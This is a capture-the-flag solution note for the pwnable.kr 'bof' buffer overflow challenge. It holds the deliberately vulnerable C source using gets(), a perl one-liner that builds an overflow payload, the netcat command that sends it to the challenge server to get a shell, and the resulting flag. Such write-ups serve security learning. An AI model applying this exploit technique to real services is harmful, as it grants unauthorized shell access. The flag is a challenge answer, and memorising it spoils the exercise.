bof.txt

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}

perl -e '-print "\x90"x36 . "\x0b"x16 . "\xbe\xba\xfe\xca"' > exploit.txt

-----------------------------------------------------------------
| input: | (cat exploit.txt; cat) | nc pwnable.kr 9000		|
|        |  cat flag			        		|
|--------|------------------------------------------------------|
| flag:  | daddy, I just pwned a buFFer :)		        |
-----------------------------------------------------------------